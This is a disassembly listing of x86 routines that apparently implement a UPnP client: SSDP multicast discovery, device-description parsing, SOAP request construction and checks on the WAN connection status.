push eax ; Src
lea eax, [esi+384h]
push eax ; Dst
call memcpy
push edi ; Size
lea eax, [esi+604h]
push eax ; Src
lea eax, [esi+404h]
push eax ; Dst
call memcpy
add esi, 484h
loc_9B467D: ; CODE XREF: sub_9B4581+91j
push edi ; Size
push ebx ; Src
push esi ; Dst
call memcpy
add esp, 30h
loc_9B4688: ; CODE XREF: sub_9B4581+B3j
pop edi
pop ebx
loc_9B468A: ; CODE XREF: sub_9B4581+10j
; sub_9B4581+2Bj
pop esi
retn
sub_9B4581 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9B468C(char *Str1, void *Src, size_t Size)
sub_9B468C proc near ; DATA XREF: sub_9B47E9+2Eo
Str1 = dword ptr 4
Src = dword ptr 8
Size = dword ptr 0Ch
push esi
mov esi, [esp+4+Str1]
push offset aUrlbase ; "URLBase"
push esi ; Str1
call strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_9B46AA
add esi, 80h
jmp short loc_9B470C
; ---------------------------------------------------------------------------
loc_9B46AA: ; CODE XREF: sub_9B468C+14j
push offset aServicetype ; "serviceType"
push esi ; Str1
call strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_9B46C3
add esi, 684h
jmp short loc_9B470C
; ---------------------------------------------------------------------------
loc_9B46C3: ; CODE XREF: sub_9B468C+2Dj
push offset aControlurl ; "controlURL"
push esi ; Str1
call strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_9B46DC
add esi, 504h
jmp short loc_9B470C
; ---------------------------------------------------------------------------
loc_9B46DC: ; CODE XREF: sub_9B468C+46j
push offset aEventsuburl ; "eventSubURL"
push esi ; Str1
call strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_9B46F5
add esi, 584h
jmp short loc_9B470C
; ---------------------------------------------------------------------------
loc_9B46F5: ; CODE XREF: sub_9B468C+5Fj
push offset aScpdurl ; "SCPDURL"
push esi ; Str1
call strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_9B4733
add esi, 604h
loc_9B470C: ; CODE XREF: sub_9B468C+1Cj
; sub_9B468C+35j ...
test esi, esi
jz short loc_9B4733
push edi
mov edi, [esp+8+Size]
cmp edi, 80h
jl short loc_9B4720
push 7Fh
pop edi
loc_9B4720: ; CODE XREF: sub_9B468C+8Fj
push edi ; Size
push [esp+0Ch+Src] ; Src
push esi ; Dst
call memcpy
add esp, 0Ch
mov byte ptr [esi+edi], 0
pop edi
loc_9B4733: ; CODE XREF: sub_9B468C+78j
; sub_9B468C+82j
pop esi
retn
sub_9B468C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B4735(SOCKET s, int, int, int len, int, char *Str)
sub_9B4735 proc near ; CODE XREF: sub_9B4C5A+1A9p
Src = byte ptr -208h
Dest = byte ptr -8
s = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
len = dword ptr 14h
arg_10 = dword ptr 18h
Str = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 208h
push ebx
push esi
push edi
push [ebp+Str] ; Str
call strlen
cmp word ptr [ebp+len], 50h
mov esi, _snprintf
pop ecx
mov ebx, eax
mov [ebp+Dest], 0
jz short loc_9B4772
movzx eax, word ptr [ebp+len]
push eax
push offset aHu ; ":%hu"
lea eax, [ebp+Dest]
push 8 ; Count
push eax ; Dest
call esi ; _snprintf
add esp, 10h
loc_9B4772: ; CODE XREF: sub_9B4735+26j
push [ebp+arg_10]
lea eax, [ebp+Dest]
push ebx
push eax
push [ebp+arg_8]
lea eax, [ebp+Src]
push [ebp+arg_4]
push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHost: %s%s\r\nUser-Agen"...
push 200h ; Count
push eax ; Dest
call esi ; _snprintf
mov edi, eax
lea eax, [edi+ebx]
push eax ; Size
mov [ebp+len], eax
call malloc
mov esi, eax
add esp, 24h
test esi, esi
jz short loc_9B47E4
push edi ; Size
lea eax, [ebp+Src]
push eax ; Src
push esi ; Dst
call memcpy
push ebx ; Size
push [ebp+Str] ; Src
lea eax, [esi+edi]
push eax ; Dst
call memcpy
add esp, 18h
push 0 ; flags
push [ebp+len] ; len
push esi ; buf
push [ebp+s] ; s
call send
push esi ; Memory
mov edi, eax
call free
pop ecx
mov eax, edi
loc_9B47E4: ; CODE XREF: sub_9B4735+74j
pop edi
pop esi
pop ebx
leave
retn
sub_9B4735 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B47E9 proc near ; CODE XREF: sub_9B4B6B+65p
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_0]
and [ebp+var_4], 0
mov [ebp+var_24], eax
mov eax, [ebp+arg_4]
mov [ebp+var_18], eax
mov eax, [ebp+arg_8]
mov [ebp+var_14], eax
lea eax, [ebp+var_24]
push eax
mov [ebp+var_10], offset sub_9B4526
mov [ebp+var_C], offset sub_9B4581
mov [ebp+var_8], offset sub_9B468C
call sub_9B450D
pop ecx
leave
retn
sub_9B47E9 endp
; =============== S U B R O U T I N E =======================================
sub_9B4826 proc near ; CODE XREF: sub_9B4C5A+219p
push ebx
push esi
push edi
mov edi, eax
mov esi, offset aContentLength ; "content-length"
xor eax, eax
loc_9B4832: ; CODE XREF: sub_9B4826+2Bj
test edi, edi
jz short loc_9B485C
mov dl, [esi]
mov bl, [ecx]
cmp dl, bl
jz short loc_9B484B
movsx ebx, bl
movsx edx, dl
add ebx, 20h
cmp edx, ebx
jnz short loc_9B485C
loc_9B484B: ; CODE XREF: sub_9B4826+16j
inc ecx
inc esi
dec edi
cmp byte ptr [esi], 0
jnz short loc_9B4832
test edi, edi
jz short loc_9B485C
cmp byte ptr [ecx], 3Ah
jz short loc_9B4867
loc_9B485C: ; CODE XREF: sub_9B4826+Ej
; sub_9B4826+23j ...
or eax, 0FFFFFFFFh
loc_9B485F: ; CODE XREF: sub_9B4826+4Dj
; sub_9B4826+66j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_9B4863: ; CODE XREF: sub_9B4826+46j
test edi, edi
jz short loc_9B485C
loc_9B4867: ; CODE XREF: sub_9B4826+34j
inc ecx
dec edi
cmp byte ptr [ecx], 20h
jz short loc_9B4863
jmp short loc_9B4885
; ---------------------------------------------------------------------------
loc_9B4870: ; CODE XREF: sub_9B4826+64j
cmp dl, 39h
jg short loc_9B485F
test edi, edi
jz short loc_9B485C
movsx edx, dl
lea eax, [eax+eax*4]
inc ecx
lea eax, [edx+eax*2-30h]
dec edi
loc_9B4885: ; CODE XREF: sub_9B4826+48j
mov dl, [ecx]
cmp dl, 30h
jge short loc_9B4870
jmp short loc_9B485F
sub_9B4826 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B488E proc near ; CODE XREF: sub_9B4EE4+19Cp
var_8 = dword ptr -8
Buf1 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
xor edi, edi
xor esi, esi
xor edx, edx
cmp [ebp+arg_0], edi
jle loc_9B4930
loc_9B48A4: ; CODE XREF: sub_9B488E+9Cj
lea eax, [esi+1]
mov cl, [ebx+eax-1]
cmp cl, 0Ah
mov [ebp+var_8], eax
jz short loc_9B48C5
cmp cl, 0Dh
jz short loc_9B48C5
cmp cl, 3Ah
jnz short loc_9B4925
test edi, edi
jnz short loc_9B4925
mov edi, esi
jmp short loc_9B4925
; ---------------------------------------------------------------------------
loc_9B48C5: ; CODE XREF: sub_9B488E+23j
; sub_9B488E+28j
test edi, edi
jz short loc_9B4923
loc_9B48C9: ; CODE XREF: sub_9B488E+40j
inc edi
cmp byte ptr [edi+ebx], 20h
jz short loc_9B48C9
push 8 ; Size
lea eax, [edx+ebx]
push offset aLocation ; "location"
push eax ; Buf1
mov [ebp+Buf1], eax
call _memicmp
add esp, 0Ch
test eax, eax
jnz short loc_9B48F8
mov ecx, [ebp+arg_4]
lea eax, [edi+ebx]
mov [ecx], eax
mov eax, [ebp+arg_8]
jmp short loc_9B491A
; ---------------------------------------------------------------------------
loc_9B48F8: ; CODE XREF: sub_9B488E+5Bj
push 2 ; Size
push offset aSt ; "st"
push [ebp+Buf1] ; Buf1
call _memicmp
add esp, 0Ch
test eax, eax
jnz short loc_9B491E
mov ecx, [ebp+arg_C]
lea eax, [edi+ebx]
mov [ecx], eax
mov eax, [ebp+arg_10]
loc_9B491A: ; CODE XREF: sub_9B488E+68j
sub esi, edi
mov [eax], esi
loc_9B491E: ; CODE XREF: sub_9B488E+7Fj
mov eax, [ebp+var_8]
xor edi, edi
loc_9B4923: ; CODE XREF: sub_9B488E+39j
mov edx, eax
loc_9B4925: ; CODE XREF: sub_9B488E+2Dj
; sub_9B488E+31j ...
mov esi, eax
cmp esi, [ebp+arg_0]
jl loc_9B48A4
loc_9B4930: ; CODE XREF: sub_9B488E+10j
pop edi
pop esi
leave
retn
sub_9B488E endp
; =============== S U B R O U T I N E =======================================
sub_9B4934 proc near ; CODE XREF: sub_9B498C+E0p
; sub_9B498C+EDp ...
cmp byte ptr [esi], 68h
push edi
mov edi, eax
jnz short loc_9B4965
cmp byte ptr [esi+1], 74h
jnz short loc_9B4965
cmp byte ptr [esi+2], 74h
jnz short loc_9B4965
cmp byte ptr [esi+3], 70h
jnz short loc_9B4965
cmp byte ptr [esi+4], 3Ah
jnz short loc_9B4965
cmp byte ptr [esi+5], 2Fh
jnz short loc_9B4965
cmp byte ptr [esi+6], 2Fh
jnz short loc_9B4965
push edi
push esi
push ebx
jmp short loc_9B4981
; ---------------------------------------------------------------------------
loc_9B4965: ; CODE XREF: sub_9B4934+6j
; sub_9B4934+Cj ...
push ebx ; Str
call strlen
cmp byte ptr [esi], 2Fh
pop ecx
jz short loc_9B4976
mov byte ptr [eax+ebx], 2Fh
inc eax
loc_9B4976: ; CODE XREF: sub_9B4934+3Bj
cmp eax, edi
jg short loc_9B498A
sub edi, eax
push edi ; Count
push esi ; Source
add eax, ebx
push eax ; Dest
loc_9B4981: ; CODE XREF: sub_9B4934+2Fj
call strncpy
add esp, 0Ch
loc_9B498A: ; CODE XREF: sub_9B4934+44j
pop edi
retn
sub_9B4934 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B498C(int, size_t Count, char *Source)
sub_9B498C proc near ; CODE XREF: sub_9B4B6B+96p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Count = dword ptr 0Ch
Source = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov edi, [ebp+Count]
lea eax, [edi+80h]
push eax ; Str
mov [ebp+var_8], eax
call strlen
mov esi, eax
test esi, esi
pop ecx
jnz short loc_9B49B9
push [ebp+Source] ; Str
call strlen
pop ecx
mov esi, eax
loc_9B49B9: ; CODE XREF: sub_9B498C+20j
lea eax, [edi+404h]
inc esi
inc esi
push eax ; Str
mov [ebp+Count], esi
mov [ebp+var_4], esi
mov [ebp+var_C], eax
call strlen
add esi, eax
lea eax, [edi+304h]
push eax ; Str
mov [ebp+var_10], eax
call strlen
add [ebp+Count], eax
add edi, 104h
push edi ; Str
mov [ebp+var_14], edi
call strlen
mov ebx, malloc
add [ebp+var_4], eax
mov edi, [ebp+arg_0]
push esi ; Size
call ebx ; malloc
push [ebp+Count] ; Size
mov [edi+4], eax
call ebx ; malloc
push [ebp+var_4] ; Size
mov [edi], eax
call ebx ; malloc
mov ebx, strncpy
mov [edi+8], eax
mov eax, [ebp+var_8]
add esp, 18h
cmp byte ptr [eax], 0
push esi ; Count
jz short loc_9B4A29
push eax
jmp short loc_9B4A2C
; ---------------------------------------------------------------------------
loc_9B4A29: ; CODE XREF: sub_9B498C+98j
push [ebp+Source] ; Source
loc_9B4A2C: ; CODE XREF: sub_9B498C+9Bj
push dword ptr [edi+4] ; Dest
call ebx ; strncpy
mov eax, [edi+4]
add esp, 0Ch
add eax, 7
push 2Fh ; Val
push eax ; Str
call strchr
test eax, eax
pop ecx
pop ecx
jz short loc_9B4A4C
mov byte ptr [eax], 0
loc_9B4A4C: ; CODE XREF: sub_9B498C+BBj
push [ebp+Count] ; Count
push dword ptr [edi+4] ; Source
push dword ptr [edi] ; Dest
call ebx ; strncpy
push [ebp+var_4] ; Count
push dword ptr [edi+4] ; Source
push dword ptr [edi+8] ; Dest
call ebx ; strncpy
mov ebx, [edi+4]
mov eax, esi
mov esi, [ebp+var_C]
add esp, 18h
call sub_9B4934
mov eax, [ebp+Count]
mov esi, [ebp+var_10]
mov ebx, [edi]
call sub_9B4934
mov eax, [ebp+var_4]
mov esi, [ebp+var_14]
mov ebx, [edi+8]
call sub_9B4934
pop edi
pop esi
pop ebx
leave
retn
sub_9B498C endp
; =============== S U B R O U T I N E =======================================
sub_9B4A91 proc near ; CODE XREF: sub_9B4B6B+B6p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_9B4ABE
push edi
push dword ptr [esi] ; Memory
mov edi, free
call edi ; free
push dword ptr [esi+4] ; Memory
and dword ptr [esi], 0
call edi ; free
push dword ptr [esi+8] ; Memory
and dword ptr [esi+4], 0
call edi ; free
add esp, 0Ch
and dword ptr [esi+8], 0
pop edi
loc_9B4ABE: ; CODE XREF: sub_9B4A91+7j
pop esi
retn
sub_9B4A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B4AC0(SOCKET s, char *buf, int len, int)
sub_9B4AC0 proc near ; CODE XREF: sub_9B3F00:loc_9B40E1p
; sub_9B4C5A+268p ...
readfds = fd_set ptr -10Ch
timeout = timeval ptr -8
s = dword ptr 8
buf = dword ptr 0Ch
len = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10Ch
mov eax, [ebp+arg_C]
cdq
mov ecx, 3E8h
idiv ecx
push esi
mov esi, [ebp+s]
mov [ebp+readfds.fd_array], esi
mov [ebp+readfds.fd_count], 1
mov [ebp+timeout.tv_sec], eax
imul edx, 3E8h
lea eax, [ebp+timeout]
push eax ; timeout
push 0 ; exceptfds
push 0 ; writefds
lea eax, [ebp+readfds]
push eax ; readfds
push 40h ; nfds
mov [ebp+timeout.tv_usec], edx
call select
test eax, eax
jge short loc_9B4B14
or eax, 0FFFFFFFFh
jmp short loc_9B4B29
; ---------------------------------------------------------------------------
loc_9B4B14: ; CODE XREF: sub_9B4AC0+4Dj
jnz short loc_9B4B1A
xor eax, eax
jmp short loc_9B4B29
; ---------------------------------------------------------------------------
loc_9B4B1A: ; CODE XREF: sub_9B4AC0:loc_9B4B14j
push 0 ; flags
push [ebp+len] ; len
push [ebp+buf] ; buf
push esi ; s
call recv
loc_9B4B29: ; CODE XREF: sub_9B4AC0+52j
; sub_9B4AC0+58j
pop esi
leave
retn
sub_9B4AC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B4B2C proc near ; CODE XREF: sub_9B4B6B+A8p
Source = byte ptr -40h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 40h
push 0 ; Dest
lea eax, [ebp+arg_4]
push eax ; int
lea eax, [ebp+Source]
push eax ; Source
mov eax, [ebp+arg_4]
add eax, 484h
push eax ; int
mov eax, [ebp+arg_0]
push dword ptr [eax] ; Str
mov [ebp+Source], 0
call sub_9B5214
lea eax, [ebp+Source]
push eax ; Str2
push offset aConnected ; "Connected"
call strcmp
add esp, 1Ch
neg eax
sbb eax, eax
inc eax
leave
retn
sub_9B4B2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B4B6B(int, int, void *Count, int netshort, int)
sub_9B4B6B proc near ; CODE XREF: sub_9A90FF+64p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Count = dword ptr 10h
netshort = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
cmp [ebp+arg_0], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
jnz short loc_9B4B80
leave
retn
; ---------------------------------------------------------------------------
loc_9B4B80: ; CODE XREF: sub_9B4B6B+11j
push esi
mov esi, [ebp+Count]
push ebx
mov [ebp+var_4], 1
push edi
loc_9B4B8D: ; CODE XREF: sub_9B4B6B+DDj
mov edi, [ebp+arg_0]
loc_9B4B90: ; CODE XREF: sub_9B4B6B+D0j
push [ebp+arg_10] ; Count
lea eax, [ebp+var_C]
push [ebp+netshort] ; netshort
push eax ; int
push dword ptr [edi+4] ; Str
call sub_9B4207
mov ebx, eax
add esp, 10h
test ebx, ebx
jz loc_9B4C37
inc [ebp+var_8]
push 704h ; Size
push 0 ; Val
push esi ; Dst
call memset
push 0Ch ; Size
push 0 ; Val
push [ebp+arg_4] ; Dst
call memset
push esi
push [ebp+var_C]
push ebx
call sub_9B47E9
push ebx ; Memory
call free
lea eax, [esi+284h]
push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANCommonI"...
push eax ; Str1
call strcmp
add esp, 30h
test eax, eax
jz short loc_9B4BFA
cmp [ebp+var_4], 3
jl short loc_9B4C27
loc_9B4BFA: ; CODE XREF: sub_9B4B6B+87j
push dword ptr [edi+4] ; Source
push esi ; Count
push [ebp+arg_4] ; int
call sub_9B498C
add esp, 0Ch
cmp [ebp+var_4], 2
jge short loc_9B4C55
push esi
push [ebp+arg_4]
call sub_9B4B2C
test eax, eax
pop ecx
pop ecx
jnz short loc_9B4C55
push [ebp+arg_4]
call sub_9B4A91
pop ecx
loc_9B4C27: ; CODE XREF: sub_9B4B6B+8Dj
push 704h ; Size
push 0 ; Val
push esi ; Dst
call memset
add esp, 0Ch
loc_9B4C37: ; CODE XREF: sub_9B4B6B+3Ej
mov edi, [edi]
test edi, edi
jnz loc_9B4B90
inc [ebp+var_4]
cmp [ebp+var_4], 3
jle loc_9B4B8D
xor eax, eax
loc_9B4C50: ; CODE XREF: sub_9B4B6B+EDj
pop edi
pop ebx
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_9B4C55: ; CODE XREF: sub_9B4B6B+A2j
; sub_9B4B6B+B1j
mov eax, [ebp+var_4]
jmp short loc_9B4C50
sub_9B4B6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B4C5A(SOCKET s, char *Str, int, int, int, int, int)
sub_9B4C5A proc near ; CODE XREF: sub_9B5214+49p
; sub_9B5353+52p ...
var_8F0 = byte ptr -8F0h
Dest = byte ptr -0F0h
cp = byte ptr -70h
name = sockaddr ptr -2Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
buf = dword ptr -0Ch
len = word ptr -8
var_4 = dword ptr -4
s = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 8F0h
and dword ptr [ebp+len], 0
push ebx
mov ebx, [ebp+arg_C]
push esi
mov esi, _snprintf
push edi
push ebx
push [ebp+arg_8]
lea eax, [ebp+Dest]
push offset aSS ; "%s#%s"
push 80h ; Count
push eax ; Dest
call esi ; _snprintf
mov edi, [ebp+arg_10]
add esp, 14h
test edi, edi
lea eax, [ebp+var_8F0]
jnz short loc_9B4CB4
push ebx
push [ebp+arg_8]
push ebx
push offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<s:Envelope xmln"...
push 800h ; Count
push eax ; Dest
call esi ; _snprintf
add esp, 18h
jmp loc_9B4D6B
; ---------------------------------------------------------------------------
loc_9B4CB4: ; CODE XREF: sub_9B4C5A+3Ej
push [ebp+arg_8]
push ebx
push offset a?xmlVersion1_1 ; "<?xml version=\"1.0\"?>\r\n<s:Envelope xmln"...
push 800h ; Count
push eax ; Dest
call esi ; _snprintf
add esp, 14h
lea eax, [ebp+eax+var_8F0]
jmp short loc_9B4D22
; ---------------------------------------------------------------------------
loc_9B4CD1: ; CODE XREF: sub_9B4C5A+CCj
lea ecx, [eax+64h]
lea esi, [ebp+Dest]
cmp esi, ecx
jbe short loc_9B4D3E
mov byte ptr [eax], 3Ch
inc eax
mov esi, edx
jmp short loc_9B4CEA
; ---------------------------------------------------------------------------
loc_9B4CE6: ; CODE XREF: sub_9B4C5A+94j
mov [eax], cl
inc eax
inc esi
loc_9B4CEA: ; CODE XREF: sub_9B4C5A+8Aj
mov cl, [esi]
test cl, cl
jnz short loc_9B4CE6
mov esi, [edi+4]
mov byte ptr [eax], 3Eh
inc eax
test esi, esi
jz short loc_9B4D07
jmp short loc_9B4D01
; ---------------------------------------------------------------------------
loc_9B4CFD: ; CODE XREF: sub_9B4C5A+ABj
mov [eax], cl
inc eax
inc esi
loc_9B4D01: ; CODE XREF: sub_9B4C5A+A1j
mov cl, [esi]
test cl, cl
jnz short loc_9B4CFD
loc_9B4D07: ; CODE XREF: sub_9B4C5A+9Fj
mov byte ptr [eax], 3Ch
inc eax
mov byte ptr [eax], 2Fh
inc eax
jmp short loc_9B4D15
; ---------------------------------------------------------------------------
loc_9B4D11: ; CODE XREF: sub_9B4C5A+BFj
mov [eax], cl
inc eax
inc edx
loc_9B4D15: ; CODE XREF: sub_9B4C5A+B5j
mov cl, [edx]
test cl, cl
jnz short loc_9B4D11
mov byte ptr [eax], 3Eh
inc eax
add edi, 8
loc_9B4D22: ; CODE XREF: sub_9B4C5A+75j
mov edx, [edi]
test edx, edx
jnz short loc_9B4CD1
mov cl, [ebx]
mov byte ptr [eax], 3Ch
inc eax
mov byte ptr [eax], 2Fh
inc eax
mov byte ptr [eax], 6Dh
inc eax
mov byte ptr [eax], 3Ah
inc eax
mov edx, ebx
jmp short loc_9B4D4F
; ---------------------------------------------------------------------------
loc_9B4D3E: ; CODE XREF: sub_9B4C5A+82j
mov eax, [ebp+arg_18]
and dword ptr [eax], 0
jmp loc_9B4DE0
; ---------------------------------------------------------------------------
loc_9B4D49: ; CODE XREF: sub_9B4C5A+F7j
mov [eax], cl
inc eax
inc edx
mov cl, [edx]
loc_9B4D4F: ; CODE XREF: sub_9B4C5A+E2j
test cl, cl
jnz short loc_9B4D49
lea ecx, [ebp+Dest]
sub ecx, eax
push ecx ; Count
push offset aSBodySEnvelope ; "></s:Body></s:Envelope>\r\n"
push eax ; Dest
call strncpy
add esp, 0Ch
loc_9B4D6B: ; CODE XREF: sub_9B4C5A+55j
lea eax, [ebp+var_1C]
push eax ; int
lea eax, [ebp+len]
push eax ; int
lea eax, [ebp+cp]
push eax ; Dest
push [ebp+Str] ; Str
call sub_9B410C
add esp, 10h
test eax, eax
jz short loc_9B4DE0
xor esi, esi
cmp [ebp+s], esi
jge short loc_9B4DE8
push esi ; protocol
push 1 ; type
push 2 ; af
call socket
cmp eax, esi
mov [ebp+s], eax
jl short loc_9B4DDB
push dword ptr [ebp+len] ; netshort
mov [ebp+name.sa_family], 2
call ntohs
mov word ptr [ebp+name.sa_data], ax
lea eax, [ebp+cp]
push eax ; cp
call __imp_inet_addr
mov dword ptr [ebp+name.sa_data+2], eax
push 10h ; namelen
lea eax, [ebp+name]
push eax ; name
push [ebp+s] ; s
call connect
test eax, eax
jge short loc_9B4DE8
push [ebp+s] ; s
call closesocket
loc_9B4DDB: ; CODE XREF: sub_9B4C5A+143j
mov eax, [ebp+arg_18]
mov [eax], esi
loc_9B4DE0: ; CODE XREF: sub_9B4C5A+EAj
; sub_9B4C5A+12Aj
or eax, 0FFFFFFFFh
jmp loc_9B4EDF
; ---------------------------------------------------------------------------
loc_9B4DE8: ; CODE XREF: sub_9B4C5A+131j
; sub_9B4C5A+176j
lea eax, [ebp+var_8F0]
push eax ; Str
lea eax, [ebp+Dest]
push eax ; int
push dword ptr [ebp+len] ; len
lea eax, [ebp+cp]
push eax ; int
push [ebp+var_1C] ; int
push [ebp+s] ; s
call sub_9B4735
add esp, 18h
test eax, eax
jg short loc_9B4E17
or esi, 0FFFFFFFFh
jmp loc_9B4ED4
; ---------------------------------------------------------------------------
loc_9B4E17: ; CODE XREF: sub_9B4C5A+1B3j
mov esi, [ebp+arg_18]
mov eax, [esi]
mov ebx, [ebp+arg_14]
or [ebp+var_18], 0FFFFFFFFh
or [ebp+var_10], 0FFFFFFFFh
and dword ptr [esi], 0
push 1388h
push eax
mov [ebp+buf], ebx
mov [ebp+var_4], eax
push ebx
jmp loc_9B4EBF
; ---------------------------------------------------------------------------
loc_9B4E3C: ; CODE XREF: sub_9B4C5A+272j
sub [ebp+var_4], eax
add [ebp+buf], eax
add [esi], eax
mov eax, [esi]
add eax, ebx
cmp ebx, eax
mov edi, ebx
mov [ebp+var_14], eax
jnb short loc_9B4EA0
mov al, [ebx]
loc_9B4E53: ; CODE XREF: sub_9B4C5A+23Bj
and [ebp+arg_10], 0
cmp al, 0Dh
jz short loc_9B4E6E
mov ecx, edi
loc_9B4E5D: ; CODE XREF: sub_9B4C5A+212j
cmp al, 0Dh
jz short loc_9B4E6E
cmp ecx, [ebp+var_14]
jnb short loc_9B4EA0
inc [ebp+arg_10]
inc ecx
mov al, [ecx]
jmp short loc_9B4E5D
; ---------------------------------------------------------------------------
loc_9B4E6E: ; CODE XREF: sub_9B4C5A+1FFj
; sub_9B4C5A+205j
mov eax, [ebp+arg_10]
mov ecx, edi
call sub_9B4826
test eax, eax
jle short loc_9B4E7F
mov [ebp+var_18], eax
loc_9B4E7F: ; CODE XREF: sub_9B4C5A+220j
mov eax, [ebp+arg_10]
lea edi, [edi+eax+2]
mov al, [edi]
cmp al, 0Dh
jnz short loc_9B4E92
cmp byte ptr [edi+1], 0Ah
jz short loc_9B4E99
loc_9B4E92: ; CODE XREF: sub_9B4C5A+230j
cmp edi, [ebp+var_14]
jb short loc_9B4E53
jmp short loc_9B4EA0
; ---------------------------------------------------------------------------
loc_9B4E99: ; CODE XREF: sub_9B4C5A+236j
sub edi, ebx
inc edi
inc edi
mov [ebp+var_10], edi
loc_9B4EA0: ; CODE XREF: sub_9B4C5A+1F5j
; sub_9B4C5A+20Aj ...
mov ecx, [ebp+var_18]
test ecx, ecx
jle short loc_9B4EB4
mov eax, [ebp+var_10]
test eax, eax
jle short loc_9B4EB4
add eax, ecx
cmp [esi], eax
jge short loc_9B4ED2
loc_9B4EB4: ; CODE XREF: sub_9B4C5A+24Bj
; sub_9B4C5A+252j
push 1388h ; int
push [ebp+var_4] ; len
push [ebp+buf] ; buf
loc_9B4EBF: ; CODE XREF: sub_9B4C5A+1DDj
push [ebp+s] ; s
call sub_9B4AC0
add esp, 10h
test eax, eax
jg loc_9B4E3C
loc_9B4ED2: ; CODE XREF: sub_9B4C5A+258j
xor esi, esi
loc_9B4ED4: ; CODE XREF: sub_9B4C5A+1B8j
push [ebp+s] ; s
call closesocket
mov eax, esi
loc_9B4EDF: ; CODE XREF: sub_9B4C5A+189j
pop edi
pop esi
pop ebx
leave
retn
sub_9B4C5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B4EE4(int, char *cp, int, int)
sub_9B4EE4 proc near ; CODE XREF: sub_9A90FF+3Cp
buf = byte ptr -644h
to = sockaddr ptr -44h
Dst = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
optval = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
Src = dword ptr -18h
var_14 = dword ptr -14h
Size = dword ptr -10h
var_C = dword ptr -0Ch
s = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
cp = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 644h
push edi
push 11h ; protocol
push 2 ; type
xor edi, edi
push 2 ; af
mov [ebp+var_4], edi
mov dword ptr [ebp+optval], 1
call socket
cmp eax, edi
mov [ebp+s], eax
jge short loc_9B4F14
xor eax, eax
jmp loc_9B505A
; ---------------------------------------------------------------------------
loc_9B4F14: ; CODE XREF: sub_9B4EE4+27j
push ebx
push esi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call memset
mov esi, ntohs
add esp, 0Ch
cmp [ebp+arg_C], edi
mov [ebp+Dst], 2
mov ebx, 76Ch
jz short loc_9B4F42
push ebx ; netshort
call esi ; ntohs
mov [ebp+var_32], ax
loc_9B4F42: ; CODE XREF: sub_9B4EE4+55j
push 10h ; Size
lea eax, [ebp+to]
push edi ; Val
push eax ; Dst
mov [ebp+var_30], edi
call memset
add esp, 0Ch
push ebx ; netshort
mov [ebp+to.sa_family], 2
call esi ; ntohs
mov esi, __imp_inet_addr
push offset cp ; "239.255.255.250"
mov word ptr [ebp+to.sa_data], ax
call esi ; __imp_inet_addr
mov ebx, setsockopt
push 4 ; optlen
mov dword ptr [ebp+to.sa_data+2], eax
lea eax, [ebp+optval]
push eax ; optval
push 4 ; optname
push 0FFFFh ; level
push [ebp+s] ; s
call ebx ; setsockopt
test eax, eax
jge short loc_9B4F94
xor eax, eax
jmp loc_9B5058
; ---------------------------------------------------------------------------
loc_9B4F94: ; CODE XREF: sub_9B4EE4+A7j
